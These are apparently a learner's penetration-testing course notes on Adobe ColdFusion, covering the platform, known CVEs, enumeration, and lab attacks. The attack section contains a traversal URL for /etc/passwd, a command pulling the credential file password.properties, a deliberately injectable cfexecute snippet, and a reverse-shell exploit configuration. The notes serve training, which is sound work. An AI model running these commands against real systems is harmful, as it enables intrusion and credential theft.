---
title: "15. Coldfusion"
date: 2025-01-20
draft: false
---

CF is a proglang and webapp dev platform based on Java. 
- Build dynamic + interactive webapps that can be connected to various APIs and dbs like mysql, oracle ,mssql, etc. 
- CF Markup Language (CFML) is proprietary proglang used in CF to develop dynamic webapps. 
- Syntax very similar to HTML - easy to learn for webdevs. CFML includes tags and functions for database integration, web services, email management, and other common webdev tasks 
- Tag-based approach simplifies app dev by reducing amount of required code to accomplish complex tasks. 
- ie `cfquery` tag can execute sql statements to retrieve data from a database: 

```html
<cfquery name="myQuery" datasource="myDataSource">
  SELECT *
  FROM myTable
</cfquery>
```

`cfloop` to iterate through records retrieved from db:
```html
<cfloop query="myQuery">
  <p>#myQuery.firstName# #myQuery.lastName#</p>
</cfloop>
```

CF supports other proglangs like JS and java allowing devs to use their preferred proglang in the env. 
Support for email, PDF, graphing, other feats. 
Apps devd using CF can run on any server that supports its' runtime. Available for download from adobe site and can be installed on Windows, mac, or linux. CF apps can also be deployed on cloud plats like AWS / Azure. 

![](/img/Pasted image 20250120142522.png)

Despite being less popular than other webdev plats - CF is still widely used by devs and orgs globally. Thanks to ease of use, rapid app dev capabilities, and integ with other web tech, its an ideal choice for building webapps quickly and efficiently. 

Like any web-facing tech CF has historically been vulnerable to several types of attacks i.e. SQLi, XSS, directory traversal, auth bypass, arbitrary file upload etc. 
1. **CVE-2021-21087**: Arbitrary disallow of uploading JSP source code
2. **CVE-2020-24453**: Active Directory integration misconfiguration
3. **CVE-2020-24450**: Command injection vulnerability
4. **CVE-2020-24449**: Arbitrary file reading vulnerability
5. **CVE-2019-15909**: Cross-Site Scripting (XSS) Vulnerability


Exposed ports
- 80 - non-secure http comm between webserver + browser
- 443 - secure, above.
- 1935 - RPC - Client-server commuication - RPC protocol allows program to request info from another program on a different network device
- 25 - SMTP, email 
- 8500 - SSL - Server communication via ssl. 
- 5500 - Server monitor - Remote admin of CF server usage 

**Coldfusion Enumeration**

|**Method**|**Description**|
|---|---|
|`Port Scanning`|ColdFusion typically uses port 80 for HTTP and port 443 for HTTPS by default. So, scanning for these ports may indicate the presence of a ColdFusion server. Nmap might be able to identify ColdFusion during a services scan specifically.|
|`File Extensions`|ColdFusion pages typically use ".cfm" or ".cfc" file extensions. If you find pages with these file extensions, it could be an indicator that the application is using ColdFusion.|
|`HTTP Headers`|Check the HTTP response headers of the web application. ColdFusion typically sets specific headers, such as "Server: ColdFusion" or "X-Powered-By: ColdFusion", that can help identify the technology being used.|
|`Error Messages`|If the application uses ColdFusion and there are errors, the error messages may contain references to ColdFusion-specific tags or functions.|
|`Default Files`|ColdFusion creates several default files during installation, such as "admin.cfm" or "CFIDE/administrator/index.cfm". Finding these files on the web server may indicate that the web application runs on ColdFusion.|

Example nmap output for a CF server: 

```shell-session
stejwes@htb[/htb]$ nmap -p- -sC -Pn 10.129.247.30 --open

Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-13 11:45 GMT
Nmap scan report for 10.129.247.30
Host is up (0.028s latency).
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
135/tcp   open  msrpc
8500/tcp  open  fmtp
49154/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 350.38 seconds
```

- Two windows RPC services
- One running on 8500 - CF uses 8500 for ssl 
- Navigating to IP:8500 will list 2 dirs - `CFIDE` and `cfdocs` - indicating Coldfusion 

---

## Attacking ColdFusion 

Searchsploiting coldfusion gives us a good amount of cve pocs.  - `searchsploit adobe coldfusion` 
If we've enumerated CF8 being used we obviously are interested in CVEs that attack this version. There's directory traversal and RCE cves in searchsploit output. 

```html
<cfdirectory directory="#ExpandPath('uploads/')#" name="fileList">
<cfloop query="fileList">
    <a href="uploads/#fileList.name#">#fileList.name#</a><br>
</cfloop>
```

In this example code snippet `cfdirectory` tag lists contents of `uploads` dir. 
`cfloop` tag loops through the query results to display filenames as clickable elements in html. 

Directory parameter is not validated correctly and is vulnerable to a path traversal attack. 
```bash
http://example.com/index.cfm?directory=../../../etc/&file=passwd
```

`CVE-2010-2861` is the `Adobe ColdFusion - Directory Traversal`
- `CFIDE/administrator/settings/mappings.cfm`
- `logging/settings.cfm`
- `datasources/index.cfm`
- `j2eepackaging/editarchive.cfm`
- `CFIDE/administrator/enter.cfm`

These files are vuln in cf 9.0.1 and earlier. Exploit used to read arbitrary files outside intended directory using `../` sequences in `locale` parameter

ex: 
```http
http://www.example.com/CFIDE/administrator/settings/mappings.cfm?locale=en
```

`password.properties` file in CF is a conf file that securely stores encrypted passwords for various services and resources that CF server uses. 
- contains list of k:v 
- k: resource name, v: encrypt pw
- PWs used for db conns, mailservers, ldap serv etc 
- By storing encrypted pws CF can automatically retrieve and use to auth 

By providing parameters to exploit script `14641.py` we can grab this file.  File usually found at `[cf_root]/lib`
```shell-session
python2 14641.py 10.129.204.230 8500 "../../../../../../../../ColdFusion8/lib/password.properties"
```

---
**RCE CVE**
You know what RCE is. 
Example of vulnerable code snippet in CF
```html
<cfset cmd = "#cgi.query_string#">
<cfexecute name="cmd.exe" arguments="/c #cmd#" timeout="5">
```
No validation done. 
In CF - unauth RCE occurs when attacker can exec arbitrary code on server without requiring authentication, i.e. debugger console or file upload functionality. 
In above code cmd var created by concatenating `cgi.query_string` with cmd to eb executed. CMD exec using `cfexecute`function, runs windows cmd.exe with specified args. `cmd` var is not validated and does not require authentication 

Example in CF: CVE-2009-2265
- Affect 8.0.1 
- Allow unauth users to upload files and gain RCE on target host. Vuln exists in FCKeditor package. 
```http
http://www.example.com/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm?Command=FileUpload&Type=File&CurrentFolder=
```

```shell-session
searchsploit -p 50057
```

Exploit mod: 
```python
if __name__ == '__main__':
    # Define some information
    lhost = '10.10.14.55' # HTB VPN IP
    lport = 4444 # A port not in use on localhost
    rhost = "10.129.247.30" # Target IP
    rport = 8500 # Target Port
    filename = uuid.uuid4().hex
```
Note that it takes time to run, but eventually returns remote shell 

